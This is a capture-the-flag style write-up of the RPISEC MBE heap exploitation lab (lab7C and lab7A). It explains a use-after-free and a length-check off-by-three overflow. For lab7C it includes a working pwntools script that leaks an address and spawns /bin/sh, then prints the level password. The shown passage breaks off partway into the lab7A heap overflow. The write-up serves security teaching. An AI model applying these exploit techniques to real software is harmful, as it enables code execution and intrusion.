RPISEC/MBE: writeup lab07 (Heap Exploitation)

After we have introduced ASLR and ways to bypass it in the last writeup, we will expand our exploits to the Heap in this lab.

In this lab there are only two levels:
–> lab7C
–> lab7A


lab7C

We can connect to the first level of this lib using the credentials lab7C with the password lab07start:

gameadmin@warzone:~$ sudo ssh lab7C@localhost
[sudo] password for gameadmin:
lab7C@localhost's password: (lab07start)
        ____________________.___  _____________________________
        \______   \______   \   |/   _____/\_   _____/\_   ___ \
         |       _/|     ___/   |\_____  \  |    __)_ /    \  \/
         |    |   \|    |   |   |/        \ |        \\     \____
         |____|_  /|____|   |___/_______  //_______  / \______  /
                \/                      \/         \/         \/
 __      __  _____ ____________________________    _______  ___________
/  \    /  \/  _  \\______   \____    /\_____  \   \      \ \_   _____/
\   \/\/   /  /_\  \|       _/ /     /  /   |   \  /   |   \ |    __)_
 \        /    |    \    |   \/     /_ /    |    \/    |    \|        \
  \__/\  /\____|__  /____|_  /_______ \\_______  /\____|__  /_______  /
       \/         \/       \/        \/        \/         \/        \/

        --------------------------------------------------------

                       Challenges are in /levels
                   Passwords are in /home/lab*/.pass
            You can create files or work directories in /tmp

         -----------------[ contact@rpis.ec ]-----------------

Last login: Thu Jan 25 02:00:14 2018 from localhost

As usual we have access to the source code:

lab7C@warzone:/levels/lab07$ cat lab7C.c
/* compiled with: gcc -z relro -z now -fPIE -pie -fstack-protector-all -o lab7C lab7C.c */
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include "utils.h"

#define MAX_STR 6
#define MAX_NUM 6

struct data {
    char reserved[8];
    char buffer[20];
    void (* print)(char *);
};

struct number {
    unsigned int reserved[6];               // implement later
    void (* print)(unsigned int);
    unsigned int num;
};

void small_str(char * a_str)
{
    printf("here's your lame string: %s\n", a_str);
}

void big_str(char * a_str)
{
    printf("nice big str yo: %s\n", a_str);
}

void small_num(unsigned int a_num)
{
    printf("not 1337 enough: %u\n", a_num);
}

void big_num(unsigned int a_num)
{
    printf("tite number dawg: %u\n", a_num);
}

void print_menu()
{
    printf("-- UAF Playground Menu ----------------------\n"
           "1. Make a string\n"
           "2. Make a number\n"
           "3. Delete a string\n"
           "4. Delete a number\n"
           "5. Print a string\n"
           "6. Print a number\n"
           "7. Quit\n"
           "---------------------------------------------\n"
           "Enter Choice: ");
}

/* bugs galore... but no memory corruption! */
int main(int argc, char * argv[])
{
    struct data * strings[MAX_STR] = {0};
    struct number * numbers[MAX_NUM] = {0};
    struct data * tempstr = NULL;
    struct number * tempnum = NULL;

    int strcnt = 0;
    int numcnt = 0;
    unsigned int choice = 0;
    unsigned int index = 0;

    while(1)
    {
        print_menu();

        /* get menu option */
        if((choice = get_unum()) == EOF)
            break;

        /* make a string */
        if(choice == 1)
        {
            if(strcnt < MAX_STR)
            {
                tempstr = malloc(sizeof(struct data));

                /* no memory corruption this time */
                printf("Input string to store: ");
                fgets(tempstr->buffer, 20, stdin);
                tempstr->buffer[strcspn(tempstr->buffer, "\n")] = 0;

                /* pick a print function */
                tempstr->print = strlen(tempstr->buffer) > 10 ? big_str : small_str;

                /* store the string to our master list */
                strings[++strcnt] = tempstr;
                printf("Created new string!\n");
            }
            else
                printf("Please delete a string before trying to make another!\n");
        }

        /* make a number */
        else if(choice == 2)
        {
            if(numcnt < MAX_NUM)
            {
                tempnum = malloc(sizeof(struct number));

                printf("Input number to store: ");
                tempnum->num = get_unum();

                /* pick a print function */
                tempnum->print = tempnum->num > 0x31337 ? big_num : small_num;

                /* store the number to our master list */
                numbers[++numcnt] = tempnum;
                printf("Created new number!\n");
            }
            else
                printf("Please delete a number before trying to make another!\n");
        }

        /* delete a string */
        else if(choice == 3)
        {
            if(strcnt && strings[strcnt])
            {
                free(strings[strcnt--]);
                printf("Deleted most recent string!\n");
            }
            else
                printf("There are no strings left to delete!\n");
        }

        /* delete a number */
        else if(choice == 4)
        {
            if(numcnt && numbers[numcnt])
            {
                free(numbers[numcnt--]);
                printf("Deleted most recent number!\n");
            }
            else
                printf("There are no numbers left to delete!\n");
        }

        /* print a string */
        else if(choice == 5)
        {
            printf("String index to print: ");
            index = get_unum();

            if(index < MAX_STR && strings[index])
                strings[index]->print(strings[index]->buffer);
            else
                printf("There is no string to print!\n");
        }

        /* print a number */
        else if(choice == 6)
        {
            printf("Number index to print: ");
            index = get_unum();

            if(index < MAX_NUM && numbers[index])
                numbers[index]->print(numbers[index]->num);
            else
                printf("There is no number to print!\n");
        }

        /* quit */
        else if(choice == 7)
            break;

        /* base case */
        else
            printf("Invalid choice!\n");

        index = 0;
        choice = 0;
        printf("\n");
    }

    printf("See you tomorrow!\n");
    return EXIT_SUCCESS;
}

What does the program do?
–> The binary is compiled with the flags -pie -fPIE (line 1), which means that even the memory segments of the binary itself (.text, .plt, .got, …) are randomized.
–> There are two structs: data (lines 11-15) and number (lines 17-21). We will look at the details shortly.
–> Within the main function (line 58) a menu is displayed by calling print_menu (line 43) giving the following options:
    – Making a string / number.
    – Deleting a string / number.
    – Printing a string / number.
    – Quitting the program.
–> When 1. Make a string is selected (line 79), memory is allocated for a struct data using malloc (line 83).
–> The member tempstr->buffer is filled with user input by calling fgets (line 87).
–> Depending on the size of the user input the member tempstr->print is set to the function big_str or small_str (line 91).
–> At last the address of the newly created struct data is stored in the array strings (line 94).
–> When 3. Delete a string is selected (line 123), the formerly allocated memory is freed by calling free (line 127).
–> When 5. Print a string is selected (line 147), the user can enter an index (line 150) which is used to call the print member-function (line 153).
–> Basically the same is done for numbers using the struct number.

Where is the vulnerability within the program?
The memory for the instances of both structs (data and number) is allocated using malloc (line 83 and 106). malloc returns a pointer to the newly allocated memory, which is stored in the pointer array strings / numbers (line 94 and 115). When deleting a string or number, the previously allocated memory is released using free (line 127 and 139). The one and only argument passed to free is a pointer to a formerly allocated memory region. free deallocates this memory region so that a subsequent call to malloc can use this memory again. One important aspect to notice is that free does not change the pointer being passed! This means that the pointer still refers to the now deallocated memory region. Such a pointer is called Dangling Pointer. On a subsequent call to malloc the memory region the pointer is referring to is allocated again, but possibly not to hold the same type of object as before. If the dangling pointer is now used to read or modify the referred object, there might actually be another type of object within the allocated memory, leading to unintended behaviour. This kind of vulnerability is called Use After Free, because the dangling pointer is used to read or modify an object after the associated memory has been freed.

The vulnerability in this level could have been fixed easily by setting the pointer within the array strings / numbers to NULL after the call to free. Because this has not been done, we can print an object even after it has been deleted:

lab7C@warzone:/levels/lab07$ ./lab7C
-- UAF Playground Menu ----------------------
1. Make a string
2. Make a number
3. Delete a string
4. Delete a number
5. Print a string
6. Print a number
7. Quit
---------------------------------------------
Enter Choice: 1
Input string to store: AAAA
Created new string!

-- UAF Playground Menu ----------------------
1. Make a string
2. Make a number
3. Delete a string
4. Delete a number
5. Print a string
6. Print a number
7. Quit
---------------------------------------------
Enter Choice: 3
Deleted most recent string!

-- UAF Playground Menu ----------------------
1. Make a string
2. Make a number
3. Delete a string
4. Delete a number
5. Print a string
6. Print a number
7. Quit
---------------------------------------------
Enter Choice: 5
String index to print: 1
here's your lame string: AAAA

As this is not so crucial, things are getting worse when we create a new number after we have deleted the string and then try to print the string:

...
Enter Choice: 3
Deleted most recent string!

-- UAF Playground Menu ----------------------
1. Make a string
2. Make a number
3. Delete a string
4. Delete a number
5. Print a string
6. Print a number
7. Quit
---------------------------------------------
Enter Choice: 2
Input number to store: 1337
Created new number!

-- UAF Playground Menu ----------------------
1. Make a string
2. Make a number
3. Delete a string
4. Delete a number
5. Print a string
6. Print a number
7. Quit
---------------------------------------------
Enter Choice: 5
String index to print: 1
Segmentation fault (core dumped)

Segmentation fault! Let’s have a look at the two structs data and number in order to think about how we can leverage this vulnerability:

The image shows both structs side by side. As we already figured out, a memory region deallocated by free is reused by a subsequent call to malloc, which means that the former object is overwritten with the new object. So why are we getting a segmentation fault when trying to print the string after it has been overwritten with the number struct? We can figured out what caused the segmentation fault using gdb:

lab7C@warzone:/levels/lab07$ gdb lab7C
Reading symbols from lab7C...(no debugging symbols found)...done.
gdb-peda$ r
Starting program: /levels/lab07/lab7C
-- UAF Playground Menu ----------------------
1. Make a string
2. Make a number
3. Delete a string
4. Delete a number
5. Print a string
6. Print a number
7. Quit
---------------------------------------------
Enter Choice: 1
Input string to store: AAAA
Created new string!
...
Enter Choice: 3
Deleted most recent string!
...
Enter Choice: 2
Input number to store: 1337
Created new number!
...
Enter Choice: 5
String index to print: 1

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x539
EBX: 0xb774af98 --> 0x2ea0
ECX: 0xb77168a4 --> 0x0
EDX: 0xb9359010 ("AAAA")
ESI: 0x18
EDI: 0x0
EBP: 0xbfa58a88 --> 0x0
ESP: 0xbfa589fc --> 0xb7749071 (<main+812>:     jmp    0xb77490fb <main+950>)
EIP: 0x539
EFLAGS: 0x10292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x539
[------------------------------------stack-------------------------------------]
0000| 0xbfa589fc --> 0xb7749071 (<main+812>:    jmp    0xb77490fb <main+950>)
0004| 0xbfa58a00 --> 0xb9359010 ("AAAA")
0008| 0xbfa58a04 --> 0xb7749357 --> 0x7243000a ('\n')
0012| 0xbfa58a08 --> 0xb7715c20 --> 0xfbad2288
0016| 0xbfa58a0c --> 0x0
0020| 0xbfa58a10 --> 0x1
0024| 0xbfa58a14 --> 0x0
0028| 0xbfa58a18 --> 0xbfa58b24 --> 0xbfa598d4 ("/levels/lab07/lab7C")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x00000539 in ?? ()

The segmentation fault is caused by an invalid instruction pointer (eip) which contains the value 0x539 = 1337. This is the value we enter as the new number. What happened here?

At first the memory for the string is allocated, which is interpreted as a struct data:

    struct data * tempstr = NULL;
                tempstr = malloc(sizeof(struct data));

Then the user string is stored within the struct and terminated with a null-byte. After this the print member function is set to big_str / small_str:

                fgets(tempstr->buffer, 20, stdin);
                tempstr->buffer[strcspn(tempstr->buffer, "\n")] = 0;
                tempstr->print = strlen(tempstr->buffer) > 10 ? big_str : small_str;

The pointer to the struct is stored in the array strings:

                strings[++strcnt] = tempstr;

At next we have chosen 3. Delete a string, which deallocates the memory:

                free(strings[strcnt--]);

As the pointer within strings is not changed, it still references the deallocated memory.

After this we created a new number choosing 2. Make a number. In this case malloc is used to allocated memory for a struct number:

    struct number * tempnum = NULL;
                tempnum = malloc(sizeof(struct number));

As shown in the image, the pointer within strings still references the memory.

At next the user number is read and the appropriate print member-function is set:

                tempnum->num = get_unum();
                tempnum->print = tempnum->num > 0x31337 ? big_num : small_num;

Finally we selected 5. Print a string which tries to call the member-function print on the struct data:

                strings[index]->print(strings[index]->buffer);

This causes the segmentation fault since print does not contain the valid function pointer to small_str anymore but the number we just entered.

How do we exploit this vulnerability? As we already figured out, the binary is compiled using the flags -pie -fPIE, which means that we do not know even know an address of the binary itself during runtime. If we could leverage the vulnerability to leak a memory address, we could use this address as a reference to calculate the address of a function we would like to call. Since the libc is linked dynamically we can use the function system as we did in lab5C (ret2libc):

gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xb75ab190 <__libc_system>

Summing it up we have to:
(1) Leak a memory-address and calculate address of __libc_system
(2) Call __libc_system passing the string "/bin/sh"

(1) leak memory-address

We basically have two possibilities to use our discovered Use After Free vulnerability:
–> We can treat a struct number as a struct data.
–> We can treat a struct data as a struct number.

The function-pointers within the structs are essential. The print member-function of struct number takes an unsigned integer argument which is being printed. The function is called passing the member variable num:

                numbers[index]->print(numbers[index]->num);

When we inspect both structs side by side again, we can see that num within struct num resides at the same offset as print within struct data:

We can leverage this by starting to create a number:

The member-function print is now set to the address of small_num.

We directly delete this number again and create a string. As input we enter "/bin/sh", which we will use later. You might already guess what we will use this for 😉

Now the memory is already set up to leak the address of small_str! We just have to call print on the dangling pointer to struct number:

As you can see in the image, the member num has been overwritten with the address of small_str, which will be printed if we choose 6. Print a number.

lab7C@warzone:/levels/lab07$ ./lab7C
-- UAF Playground Menu ----------------------
1. Make a string
2. Make a number
3. Delete a string
4. Delete a number
5. Print a string
6. Print a number
7. Quit
---------------------------------------------
Enter Choice: 2
Input number to store: 1337
Created new number!
...
Enter Choice: 4
Deleted most recent number!
...
Enter Choice: 1
Input string to store: /bin/sh
Created new string!
...
Enter Choice: 6
Number index to print: 1
not 1337 enough: 3077868487

With the leaked memory address we can easily calculate the address of __libc_system:

gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xb75ab190 <__libc_system>
gdb-peda$ p small_str
$2 = {<text variable, no debug info>} 0xb7748bc7 <small_str>
gdb-peda$ p small_str - system
$3 = 0x19da37

Thus we have to subtract 0x19da37 from the leaked address of small_str to get the address of __libc_system.

(2) calling __libc_system

As we have the address of __libc_system now, we just need to call it passing the string "/bin/sh" as argument. Luckily we already stored "/bin/sh" in the member variable buffer. This means that we just have to put the address of __libc_system in the right place. We do this by deleting the previously create string again and create a number entering the address of __libc_system:

The only thing left to do is to call the print function of struct data using the dangling pointer:

The function __libc_system gets called passing the member variable buffer, which contains the string "/bin/sh".

The following python-script does all this steps and calculates the address of __libc_system:

lab7C@warzone:/levels/lab07$ cat /tmp/exploit_lab7C.py
from pwn import *

p = process("./lab7C")

# *******************************************************
# step 1: leak memory-address

p.recvuntil("Enter Choice: ")
p.sendline("2")                # 2. Make a number
p.sendline("1337")             #    --> 1337
p.recvuntil("Enter Choice: ")
p.sendline("4")                # 4. Delete a number
p.recvuntil("Enter Choice: ")
p.sendline("1")                # 1. Make a string
p.sendline("/bin/sh")          #    --> "/bin/sh"
p.recvuntil("Enter Choice: ")
p.sendline("6")                # 6. Print a number
p.sendline("1")                #    --> index = 1

# --> output contains address of small_str
ret = p.recvuntil("Enter Choice: ")
addr_small_str = int(ret[ret.index("enough: ")+8:ret.index("\n")], 10)
log.info("addr_small_str: " + hex(addr_small_str))

# --> calculate actutal address of system
addr_system = addr_small_str - 0x19da37


# *******************************************************
# step 2: call system("/bin/sh")

p.sendline("3")               # 3. Delete a string
p.recvuntil("Enter Choice: ")
p.sendline("2")               # 2. Make a number
p.sendline(str(addr_system))  #    --> address of system
p.recvuntil("Enter Choice: ")
p.sendline("5")               # 5. Print a string
p.sendline("1")               #    --> index = 1
p.recv(100)

p.interactive()

Running the script:

lab7C@warzone:/levels/lab07$ python /tmp/exploit_lab7C.py
[+] Starting program './lab7C': Done
[*] addr_small_str: 0xb7710bc7
[*] Switching to interactive mode
$ whoami
lab7A
$ cat /home/lab7A/.pass
us3_4ft3r_fr33s_4re_s1ck

Done 🙂 The password for level A is us3_4ft3r_fr33s_4re_s1ck.


lab7A

We can connect to the level using the previously achieved credentials lab7A with the password us3_4ft3r_fr33s_4re_s1ck:

gameadmin@warzone:~$ sudo ssh lab7A@localhost
[sudo] password for gameadmin:
lab7A@localhost's password: (us3_4ft3r_fr33s_4re_s1ck)
        ____________________.___  _____________________________
        \______   \______   \   |/   _____/\_   _____/\_   ___ \
         |       _/|     ___/   |\_____  \  |    __)_ /    \  \/
         |    |   \|    |   |   |/        \ |        \\     \____
         |____|_  /|____|   |___/_______  //_______  / \______  /
                \/                      \/         \/         \/
 __      __  _____ ____________________________    _______  ___________
/  \    /  \/  _  \\______   \____    /\_____  \   \      \ \_   _____/
\   \/\/   /  /_\  \|       _/ /     /  /   |   \  /   |   \ |    __)_
 \        /    |    \    |   \/     /_ /    |    \/    |    \|        \
  \__/\  /\____|__  /____|_  /_______ \\_______  /\____|__  /_______  /
       \/         \/       \/        \/        \/         \/        \/

        --------------------------------------------------------

                       Challenges are in /levels
                   Passwords are in /home/lab*/.pass
            You can create files or work directories in /tmp

         -----------------[ contact@rpis.ec ]-----------------

Last login: Mon Jan 22 05:48:49 2018 from localhost

Let’s have a look at the source code:

lab7A@warzone:/levels/lab07$ cat lab7A.c
/* compiled with: gcc -static -z relro -z now -fstack-protector-all -o lab7A lab7A.c */

#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <time.h>
#include "utils.h"

ENABLE_TIMEOUT(60)

#define MAX_MSG    10
#define MAX_BLOCKS 32
#define BLOCK_SIZE 4

struct msg {
    void (* print_msg)(struct msg *);
    unsigned int xor_pad[MAX_BLOCKS];
    unsigned int message[MAX_BLOCKS];
    unsigned int msg_len;
};

struct msg * messages[MAX_MSG];

/* apply one time pad */
void encdec_message(unsigned int * message, unsigned int * xor_pad)
{
    int i = 0;
    for(i = 0; i < MAX_BLOCKS; i++)
        message[i] ^= xor_pad[i];
}

/* print information about the given message */
void print_message(struct msg * to_print)
{
    unsigned int i = 0;
    char * xor_pad;
    char * message;

    xor_pad = (char *)&to_print->xor_pad;
    message = (char *)&to_print->message;

    /* print the message's xor pad */
    printf("\nXOR Pad: \n"
           "-----------------------------------------\n");

    for(i = 0; i < BLOCK_SIZE*MAX_BLOCKS; i++)
    {
        printf("%02x", xor_pad[i] & 0xFF);
        if(i % 32 == 31)
            puts("");
    }

    /* print encrypted message */
    printf("\nEncrypted Message: \n"
           "-----------------------------------------\n");

    for(i = 0; i < BLOCK_SIZE*MAX_BLOCKS; i++)
    {
        printf("%02x", message[i] & 0xFF);
        if(i % 32 == 31)
            puts("");
    }

    puts("");
}

/* creates a message */
int create_message()
{
    int i, j;
    struct msg * new_msg = NULL;

    /* find a free message slot */
    for(i = 0; i < MAX_MSG; i++)
        if(messages[i] == NULL)
            break;

    /* make sure we actually found an empty slot */
    if(messages[i])
    {
        printf("-No message slots left!\n");
        return 1;
    }

    printf("-Using message slot #%u\n", i);

    /* initialize new message */
    new_msg = malloc(sizeof(struct msg));
    memset(new_msg, 0, sizeof(struct msg));
    new_msg->print_msg = &print_message;

    for(j = 0; j < MAX_BLOCKS; j++)
        new_msg->xor_pad[j] = rand();

    /* get the length of data the user intends to encrypt */
    printf("-Enter data length: ");

    new_msg->msg_len = get_unum();

    if(new_msg->msg_len == 0)
    {
        printf("-Message length must be greater than zero!\n");
        free(new_msg);
        return 1;
    }

    /* make sure the message length is no bigger than the xor pad */
    if((new_msg->msg_len / BLOCK_SIZE) > MAX_BLOCKS)
        new_msg->msg_len = BLOCK_SIZE * MAX_BLOCKS;

    /* read in the message to encrypt with the xor pad */
    printf("-Enter data to encrypt: ");
    read(0, &new_msg->message, new_msg->msg_len);

    /* encrypt message */
    encdec_message(new_msg->message, new_msg->xor_pad);

    /* save the new message to the global list */
    messages[i] = new_msg;

    return 0;
}

int edit_message()
{
    char numbuf[32];
    unsigned int i = 0;

    /* get message index to destroy */
    printf("-Input message index to edit: ");
    fgets(numbuf, sizeof(numbuf), stdin);
    i = strtoul(numbuf, NULL, 10);

    if(i >= MAX_MSG || messages[i] == NULL)
    {
        printf("-Invalid message index!\n");
        return 1;
    }

    printf("-Input new message to encrypt: ");

    /* clear old message, and read in a new one */
    memset(&messages[i]->message, 0, BLOCK_SIZE * MAX_BLOCKS);
    read(0, &messages[i]->message, messages[i]->msg_len);

    /* encrypt message */
    encdec_message(messages[i]->message, messages[i]->xor_pad);

    return 0;
}

/* free a secure message */
int destroy_message()
{
    char numbuf[32];
    unsigned int i = 0;

    /* get message index to destroy */
    printf("-Input message index to destroy: ");
    fgets(numbuf, sizeof(numbuf), stdin);
    i = strtoul(numbuf, NULL, 10);

    if(i >= MAX_MSG || messages[i] == NULL)
    {
        printf("-Invalid message index!\n");
        return 1;
    }

    /* destroy message */
    memset(messages[i], 0, sizeof(struct msg));
    free(messages[i]);
    messages[i] = NULL;

    return 0;
}

/* print a message at a select index */
int print_index()
{
    char numbuf[32];
    unsigned int i = 0;

    /* get message index to print */
    printf("-Input message index to print: ");
    fgets(numbuf, sizeof(numbuf), stdin);
    i = strtoul(numbuf, NULL, 10);

    if(i >= MAX_MSG || messages[i] == NULL)
    {
        printf("-Invalid message index!\n");
        return 1;
    }

    /* print the message of interest */
    messages[i]->print_msg(messages[i]);

    return 0;
}

/* the vulnerability is in here */
void print_menu()
{
    printf("+---------------------------------------+\n"
           "|        Doom's OTP Service v1.0        |\n"
           "+---------------------------------------+\n"
           "|------------ Services Menu ------------|\n"
           "|---------------------------------------|\n"
           "| 1. Create secure message              |\n"
           "| 2. Edit secure message                |\n"
           "| 3. Destroy secure message             |\n"
           "| 4. Print message details              |\n"
           "| 5. Quit                               |\n"
           "+---------------------------------------+\n");
}

int main()
{
    int choice = 0;
    srand(time(NULL));
    disable_buffering(stdout);

    while(1)
    {
        print_menu();

        /* get menu option */
        printf("Enter Choice: ");
        choice = get_unum();

        printf("-----------------------------------------\n");

        /* handle menu selection */
        if(choice == 1)
        {
            if(create_message())
                printf("-Failed to create message!\n");
            else
                printf("-Message created successfully!\n");
        }
        else if(choice == 2)
        {
            if(edit_message())
                printf("-Failed to edit message!\n");
            else
                printf("-Message has been successfully modified!\n");
        }
        else if(choice == 3)
        {
            if(destroy_message())
                printf("-Failed to destroy message!\n");
            else
                printf("-Message destroyed!\n");
        }
        else if(choice == 4)
        {
            if(print_index())
                printf("-Failed to print message!\n");
        }
        else if(choice == 5)
        {
            break;  // exit
        }
        else
            printf("-Invalid choice!\n");

        choice = 0;
        puts("");
    }

    printf("See you tomorrow!\n");
    return EXIT_SUCCESS;
}

What does the program do?
–> The binary is compiled with the flag -static (line 1). This means that the binary has all required functions built in.
–> A struct named msg is defined (lines 16-21) which contains a function-pointer (print_msg), two unsigned integer arrays (xor_pad and message) and a single unsigned integer member (msg_len).
–> There is a global array (messages) defined to contain pointers to struct msg instances (line 23).
–> Within the main function (line 217) a menu is displayed by calling print_menu (line 202) giving the following options:
    – Creating / Editing / Destroying secure message.
    – Printing message details.
    – Quitting the program.

–> When 1. Create secure message is selected, the function create_message is called (line 236).
    – create_message (line 69) searches for an empty slot in messages and allocates memory for a new message (line 89).
    – The member-function print_msg is set to the address of the function print_message (line 91).
    – The array new_msg->xor_pad is initialized with random values (lines 93-94).
    – new_msg->msg_len is set by reading a value from the user (line 99).
    – If new_msg->msg_len is too big, it is set to the maximum amount of bytes which can be stored in new_msg->message (lines 109-110).
    – The function read is used to read a user input from stdin to new_msg->message (line 114).
    – This messages is encrypted by calling encdec_message (line 117).
    – At last the address of the newly created object new_msg is stored in the global array messages (line 120).

–> When selecting 2. Edit secure message, the function edit_message is called (line 243).
    – edit_message (line 125) reads an index, zeroes out the message member variable and reads in a maximum amount of msg_len bytes as a new message (lines 132, 144-145).
    – At last the new message is again encrypted using encdec_message (line 148).

–> By choosing 3. Destroy secure message the function destroy_message is called (line 250).
    – destroy_message (line 154) also reads an index and zeros out the message member variable (lines 161, 171).
    – After this the memory for the struct msg is deallocated using free (line 172).
    – The struct pointer within the global array messages is then set to NULL (line 173).

–> When 4. Print message details is selected, the function print_index is called (line 257).
    – print_index (line 179) yet again reads an index (line 186).
    – If the index is valid, the print_msg member-function is called passing the whole struct (line 196).
    – As the print_msg member-function is initialized with print_message, this function gets called.
    – print_message (line 34) prints the XOR pad and the encrypted message.

–> 5. Quit breaks out of the loop (line 262) und thus quits the program.

There is also an additional readme file stating that this is a remote challenge much like in lab6B:

lab7A@warzone:/levels/lab07$ cat lab7A.readme
lab7A is a remote level much like lab6B. It is running on port 7741.

nc wargame.server.example 7741 -vvv

Where is the vulnerability within the program?

This question took me a time. While it has been very easy to spot the vulnerabilities in the first labs, it was quite hard to discover the vulnerability within the code above. After trying around a little bit with the program, I figured out that when choosing a msg_len so that 128 < msg_len < 132 the value will not be reset to the maximum amount of 128. The following lines of code are causing this behaviour:

    if((new_msg->msg_len / BLOCK_SIZE) > MAX_BLOCKS)
        new_msg->msg_len = BLOCK_SIZE * MAX_BLOCKS;

msg_len is an unsigned integer and the macro BLOCK_SIZE is also an integer (4). This means that the division within the if-statement is in whole numbers:

>>> 127/4
31
>>> 128/4
32
>>> 129/4
32
>>> 130/4
32
>>> 131/4
32
>>> 132/4
33

As the remains are not taken into account, the if-condition evaluates to true only when msg_len is bigger than 131. This means that we can overflow the member variable message by 3 bytes! And what resides within the memory after message? Exactly! msg_len. Thus we can set msg_len do an even bigger number and than use edit_message to overflow message by a lot of more bytes than just 3 possibly overwriting the next chunk on the heap.

Fortunately the binary is not compiled as position independent code. Thus we know the address of the global array messages which holds the heap pointers:

[0x08048d2a]> is~messages
vaddr=0x080eef60 paddr=0x000a6f60 ord=1841 fwd=NONE sz=40 bind=GLOBAL type=OBJECT name=messages

Now let’s try to overflow message inspecting the heap using gdb:

lab7A@warzone:/levels/lab07$ gdb ./lab7A
Reading symbols from ./lab7A...(no debugging symbols found)...done.
gdb-peda$ r
Starting program: /levels/lab07/lab7A
+---------------------------------------+
|        Doom's OTP Service v1.0        |
+---------------------------------------+
|------------ Services Menu ------------|
|---------------------------------------|
| 1. Create secure message              |
| 2. Edit secure message                |
| 3. Destroy secure message             |
| 4. Print message details              |
| 5. Quit                               |
+---------------------------------------+
Enter Choice: 1
-----------------------------------------
-Using message slot #0
-Enter data length: 131
-Enter data to encrypt: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
-Message created successfully!

+---------------------------------------+
|        Doom's OTP Service v1.0        |
+---------------------------------------+
|------------ Services Menu ------------|
|---------------------------------------|
| 1. Create secure message              |
| 2. Edit secure message                |
| 3. Destroy secure message             |
| 4. Print message details              |
| 5. Quit                               |
+---------------------------------------+
Enter Choice: ^C
Program received signal SIGINT, Interrupt.
...
gdb-peda$ x/x 0x080eef60
0x80eef60 <messages>:   0x080f19d8
gdb-peda$ x/80xw 0x080f19d8-8
0x80f19d0:      0x00000000      0x00000111      0x08048fd3      0x078d572f
0x80f19e0:      0x137db5d1      0x7d14f569      0x2f24ff9b      0x1d0207b8
0x80f19f0:      0x497bca52      0x29524eb3      0x767ac622      0x14af9260
0x80f1a00:      0x0bd24bc5      0x3a9a828a      0x567926e0      0x160526ae
0x80f1a10:      0x1ddc5410      0x39638154      0x24d7bcfe      0x5597d31d
0x80f1a20:      0x2a9eb757      0x1dd2bbce      0x6636ac89      0x69aaaaca
0x80f1a30:      0x758f3b73      0x3599619f      0x530282ba      0x6e053b1c
0x80f1a40:      0x2d114a84      0x3e14113b      0x0f1f7049      0x0284b841
0x80f1a50:      0x301050fe      0x747b4935      0x0a120f71      0x46cc166e
0x80f1a60:      0x523cf490      0x3c55b428      0x6e65beda      0x5c4346f9
0x80f1a70:      0x083a8b13      0x68130ff2      0x373b8763      0x55eed321
0x80f1a80:      0x4a930a84      0x7bdbc3cb      0x173867a1      0x574467ef
0x80f1a90:      0x5c9d1551      0x7822c015      0x6596fdbf      0x14d6925c
0x80f1aa0:      0x6bdff616      0x5c93fa8f      0x2777edc8      0x28ebeb8b
0x80f1ab0:      0x34ce7a32      0x74d820de      0x1243c3fb      0x2f447a5d
0x80f1ac0:      0x6c500bc5      0x7f55507a      0x4e5e3108      0x43c5f900
0x80f1ad0:      0x715111bf      0x353a0874      0x4b534e30      0x000a4141
0x80f1ae0:      0x00000000      0x00020521      0x00000000      0x00000000
0x80f1af0:      0x00000000      0x00000000      0x00000000      0x00000000
0x80f1b00:      0x00000000      0x00000000      0x00000000      0x00000000

I created a new message using the length 131 and entered 130 * “A” (+ a newline character). At the address 0x080eef60 (messages) the first heap pointer is stored: 0x080f19d8. I printed the memory beginning at 0x080f19d8-8 because the heap chunks begins 8 bytes before the memory where the actual data is stored:

The first 4 bytes of the heap chunk contain the size of the previous chunk. The next 4 bytes contain the size of the chunk itself. Because of byte alignment the three least significant bits would always be zero and are used for flags:
–> 0x04: The memory belongs to a thread arena.
–> 0x02: The memory was allocated with the function mmap.
–> 0x01: The previous chunk is in use.

The chunk right after our chunk beginning at 0x80f1ae0 is the top of the heap also called the wilderness. The value 0x00020521 indicates that there are 0x20520 = 132384 bytes left for further allocations.

As we can see within the data of our chunk, we have successfully overwritten msg_len with the value 0x000a4141:

...
0x80f1ad0:      0x715111bf      0x353a0874      0x4b534e30      0x000a4141
...

This means that we can use edit_message to overflow message by 0xa4141 - 128 = 671937 bytes. Of course we could set msg_len to an even bigger value, but this suffices to overwrite the next chunk on the heap.

At first let’s create another message generating a second chunk on the heap after the one we already created:

gdb-peda$ c
Continuing.
1
-----------------------------------------
-Using message slot #1
-Enter data length: 4
-Enter data to encrypt: AAA
-Message created successfully!

+---------------------------------------+
|        Doom's OTP Service v1.0        |
+---------------------------------------+
|------------ Services Menu ------------|
|---------------------------------------|
| 1. Create secure message              |
| 2. Edit secure message                |
| 3. Destroy secure message             |
| 4. Print message details              |
| 5. Quit                               |
+---------------------------------------+
Enter Choice: ^C
Program received signal SIGINT, Interrupt.
...
gdb-peda$ x/80xw 0x080f19d8-8
0x80f19d0:      0x00000000      0x00000111      0x08048fd3      0x078d572f
0x80f19e0:      0x137db5d1      0x7d14f569      0x2f24ff9b      0x1d0207b8
...
0x80f1ad0:      0x715111bf      0x353a0874      0x4b534e30      0x000a4141
0x80f1ae0:      0x00000000      0x00000111      0x08048fd3      0x1fcab7ac
0x80f1af0:      0x13c8adcd      0x59269ff2      0x5ad6c09d      0x76520b8c
0x80f1b00:      0x3031749d      0x2a925bee      0x64adb511      0x41d6cbd2

The second messages has been stored in the chunk beginning at address 0x80f1ad0. The first 4 bytes within the actual data contains the value 0x08048fd3. This is the member-function print_msg which has been set to print_message.

As the msg_len of our first message is big enough, we can now use the edit_message function to overwrite the second heap chunk:

gdb-peda$ c
Continuing.
2
-----------------------------------------
-Input message index to edit: 0
